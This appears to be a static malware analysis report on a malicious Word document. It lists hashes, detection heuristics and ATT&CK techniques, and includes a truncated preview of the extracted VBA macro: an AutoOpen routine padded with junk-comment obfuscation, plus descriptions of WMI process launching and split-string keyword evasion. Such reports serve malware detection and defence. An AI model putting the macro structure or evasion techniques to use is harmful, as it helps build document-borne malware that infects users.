Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d357263af9dbbba4…

MALICIOUS

Office (OLE)

146.8 KB Created: 2019-05-03 16:05:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 088c65aa99e7fadbdb59e15882315552 SHA-1: 594685c33dee74770ec720cfcc2cff22fc4252cf SHA-256: d357263af9dbbba4d29f2dfe47d9303c020b883f1cc7cdd24390e744c8d5c3ed
302 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

This Office document contains VBA macros, including an AutoOpen macro, that leverage WMI to launch a process. The heuristic 'OLE_VBA_WMI_PROCESS_CREATE' indicates the use of Win32_Process to create a new process, and obfuscation was detected in the reassembly of the 'winmgmts' keyword. This strongly suggests the macro is designed to download and execute a secondary payload.

Heuristics 8

  • ClamAV: Doc.Malware.Sagent-6961490-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-6961490-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 8570 bytes
SHA-256: e71b7071e06974e458530c93eafe2700d5a39e25778032df1e897f81a57cf407
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "z0109_5"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "L80697"
Attribute VB_Base = "0{0DBF635E-0BF0-4879-92A4-78EB933DE4C3}{C6E01313-A6F3-4272-A29A-E82A3CFEAE30}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "c4135105"

Attribute VB_Name = "O61268"

Attribute VB_Name = "d008145"

Attribute VB_Name = "E404930"

Attribute VB_Name = "C0865468"
Attribute VB_Base = "0{B81EC3AA-23E4-43F3-B6FF-E55A2AFBEADC}{A47F0161-BA68-4B8B-8C18-47226ACF9267}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "c4_766"
Function b64306(P597904)
   With H2_8275
'.t384967 = (Log(l42924) + 670656478 * w6039291)
'.S83_41 = (Log(D559860) + 921946835 * W2230644)
'.a76965_ = (Log(T092_74) + 624534352 * V401979_)
'.m8_54_50 = (Log(N66572) + 663356453 * f70273)
End With
   With A52473
'.O_683_6 = (Log(B71604) + 955865106 * L21011)
'.J872466 = (Log(b227026) + 43922755 * G37872)
'.q66_65 = (Log(s_192755) + 827179424 * W5169292)
'.w___687 = (Log(f89147_) + 154610939 * p209407)
End With
   With o286079
'.O_8450 = (Log(M993674) + 701828131 * h7486623)
'.P06_00 = (Log(E460891) + 443085446 * i4_517)
'.t762330 = (Log(V39575) + 739301946 * S9077110)
'.Q_9_441 = (Log(v24_86) + 597931695 * o__3923)
End With
Set b64306 = CVar(P597904)
   With p4620119
'.D8905991 = (Log(S58564) + 449523191 * G_595759)
'.m5278327 = (Log(i87_543) + 554212362 * l6111970)
'.D_3340 = (Log(D2499515) + 345195383 * F50_923)
'.a07335 = (Log(Y577256) + 687730489 * l8_86173)
End With
   With U22624
'.z70_50 = (Log(d09008) + 519707540 * z12082)
'.J050874 = (Log(O93_7512) + 910867228 * h99723_0)
'.R5_54_ = (Log(t461058) + 408245483 * k28990_)
'.o85852 = (Log(S3745491) + 135850402 * u409372)
End With
End Function
Sub autoopen()
On Error Resume Next
   With D500_867
'.D5218458 = (Log(H8_37960) + 125860805 * i9044476)
'.X762144 = (Log(F96980) + 626093976 * C2891958)
'.T_033582 = (Log(f5370_) + 112991394 * I6888500)
'.k8417_4 = (Log(P519264) + 606723665 * w18382)
End With
   With o3342_8
'.B_76296 = (Log(r527468) + 835230021 * E206_863)
'.C457736 = (Log(P712404) + 17822314 * m828615)
'.f976626 = (Log(b12135) + 499159253 * B67888)
'.p07072 = (Log(s7827_) + 766622243 * Z97968)
End With
   With I95617
'.r_6942 = (Log(i554679_) + 624914371 * M247624)
'.D5183_39 = (Log(j17250) + 984610944 * q4669_0_)
'.C7_1003 = (Log(D64_6666) + 666628871 * k605377_)
'.U_854681 = (Log(J64356) + 317851729 * N62188)
End With
Call q242804
   With j9_2_03
'.f_29825 = (Log(Z389541) + 907763161 * h038179)
'.C60568 = (Log(j586806) + 24843841 * B97438_3)
'.Q22_126 = (Log(q312066) + 332825624 * E8740839)
'.K541_3 = (Log(l66455) + 858748684 * j9994136)
End With
   With O3959055
'.P063595 = (Log(p5_233) + 138676731 * I94_991)
'.v39499 = (Log(E_58925) + 476561018 * a185705)
'.E4292686 = (Log(a82192) + 153456885 * S7_6037)
'.b800221 = (Log(N3228134) + 890299269 * w45693)
End With
End Sub

Attribute VB_Name = "N6783_85"
Function q242804()
On Error Resume Next
   With A72026
'.G36261 = (Log(j60_00) + 133061365 * E00080_6)
'.G1902940 = (Log(R938_61) + 797246979 * v779088)
'.Q784432 = (Log(m271_65) + 282673520 * t30238)
'.Y1_5125 = (Log(j6_607) + 451867870 * z08147)
End With
   With i2778_39
'.m780536_ = (Log(O4606941) + 23759554 * v7_34_7)
'.i8354_4 = (Log(r007687_) + 759646148 * j_7860)
'.i24_3147 = (Log(d76933) + 400001223 * H47525)
'.i27_6170 = (Log(v773170) + 192691623 * z9540695)
End With
   With J55586
'.N7134_80 = (Log(J1
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.